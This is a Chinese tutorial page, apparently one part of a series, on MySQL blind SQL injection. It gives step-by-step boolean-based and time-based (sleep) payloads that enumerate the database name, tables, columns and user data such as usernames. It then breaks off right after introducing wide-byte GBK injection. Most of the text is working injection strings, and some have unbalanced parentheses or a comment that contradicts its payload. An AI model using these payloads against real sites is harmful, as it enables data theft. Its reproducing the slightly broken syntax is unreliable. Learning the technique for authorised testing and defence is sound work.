MYSQL SQL注入 (4)

bool 盲注一般流程

**1.判断注入点及类型** 1' and 1=1%23 true 1' and 1=2%23 false **2.猜解数据库名的长度** and (length(database())>7--+ # 有回显数据库名长度>7 and (length(database())>8--+ # 无回显,说明数据库名长度<8 and (length(database())=8--+ # 有回显,说明数据库名长度=8 从这步开始均采用二分法逐步判断 **3.猜解当前数据库名** and ascii(substr((database()),1,1)>100--+ # 有回显,说明数据库名第一位的ascii码>100 and ascii(substr((database()),1,1)>120--+ # 无回显,说明数据库名第一位的ascii码<120 and ascii(substr((database()),1,1)>115--+ # 无回显,说明数据库名第一位的ascii码<115 and ascii(substr((database()),1,1)=115--+ # 有回显,说明数据库名第一位的ascii码是115 **4.猜解当前库中的表名个数** and (select count(*) from information_schema.tables where table_schema=database())>5--+ # 有回显,说明当前数据库中表名个数>5 and (select count(*) from information_schema.tables where table_schema=database())>10--+ # 无回显,说明当前数据库中表名个数<10 and (select count(*) from information_schema.tables where table_schema=database())=8--+ # 有回显,说明当前数据库中表名个数=8 **5.猜解当前库中的表名长度** and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5--+ # 有回显,说明当前数据库中第一张表长度>5 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>10--+ # 无回显,说明当前数据库中第一张表长度<10 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+ # 有回显,说明当前数据库中第一张表长度=5 # 需要用**limit** 来限制表的个数,每次读取一个表 **6.猜解当前库中的表名** and ascii((substr((select table_name from information_schema.tables where table_schema=database limit 0,1),1,1)<100--+ # 有回显,说明当前数据库中第一张表的第一个字符ascii码<100 and ascii((substr((select table_name from information_schema.tables where table_schema=database limit 0,1),1,1)<90--+ # 无回显,说明当前数据库中第一张表的第一个字符ascii码>90 and ascii((substr((select table_name from information_schema.tables where table_schema=database limit 0,1),1,1)=97--+ # 有回显,说明当前数据库中第一张表的第一个字符ascii码=97,查询ascii码表可知,97='a' # 更改**substr()** 函数参数,猜解出本表名剩余字符;更改limit参数,依次猜解出所有表名 **7.猜解表的字段名** # 先获取字段名个数,再回去字段名长度,最后获取字段名 and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>5--+ # 获取users表字段名个数 and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>5--+ # 获取users表第一个字段长度 and (ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>100--+ # 有回显,说明users表中第一个字段名第一个字符ascii码>100 **8.猜解表中数据** and (ascii(substr(select username from users limit 0,1),1,1))=68--+ # 有回显,说明users表中第一条数据的username字段值的第一个字符ascii码值=68,查询ascii表可知 68='D' time盲注

time盲注一般流程

**1.判断注入点及类型** 1' and 1=1%23 true 1' and 1=2%23 false **2.猜解数据库名的长度** and if(length(database())>5),sleep(5),1)--+ and if(length(database())=6),sleep(5),1)--+ # 通过页面显示的时间判断数据库名长度 **3.猜解数据库名** and if(ascii(substr(database(),n,1)=m),sleep(5),1)--+ # 通过改变n和m依次获取数据库的字符 **4.猜解数据库表名** # 同理先获取长度 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+ **5.猜解数据库字段名名** and if((ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)))>100,sleep(5),1)--+ **6.猜解表中数据** and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+ 0x03 其他类型注入 宽字节注入

宽字节注入概述

什么是宽字节?

    宽字节是指两个字节 宽度的编码技术。

造成宽字节注入的原因

    宽字节注入是利用mysql的一个特性,mysql在使用GBK编码 的时候,会认为两个字符是一个汉字

GBK编码原理

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzjfjy.html